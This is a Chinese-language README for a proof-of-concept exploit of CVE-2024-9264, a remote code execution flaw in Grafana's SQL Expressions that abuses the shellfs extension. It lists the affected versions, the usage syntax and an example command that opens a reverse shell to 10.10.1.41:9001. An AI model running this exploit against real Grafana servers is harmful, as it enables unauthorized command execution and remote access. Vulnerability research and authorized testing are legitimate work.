Grafana中远程代码执行(CVE-2024-9264)的概念验证
该仓库包含一个Python脚本,用于利用Grafana的SQL Expressions功能中的远程代码执行(RCE)漏洞。通过利用输入清理不足,该漏洞利用允许攻击者在服务器上执行任意shell命令。这是通过shellfs社区扩展实现的,攻击者可以安装并加载该扩展以协助命令执行。
Viewer或更高权限的Grafana用户Grafana >= v11.0.0(所有v11.x.y版本均受影响)
python3 poc.py [--url <target>] [--username <username>] [--password <password>] [--reverse-ip <IP>] [--reverse-port <PORT>]

python poc.py --url http://127.0.0.1:3000 --username eviluser --password eviluser --reverse-ip 10.10.1.41 --reverse-port 9001
此脚本仅用于教育目的,并应在受控环境中使用,且您有权测试系统的安全性。滥用此工具可能导致法律后果。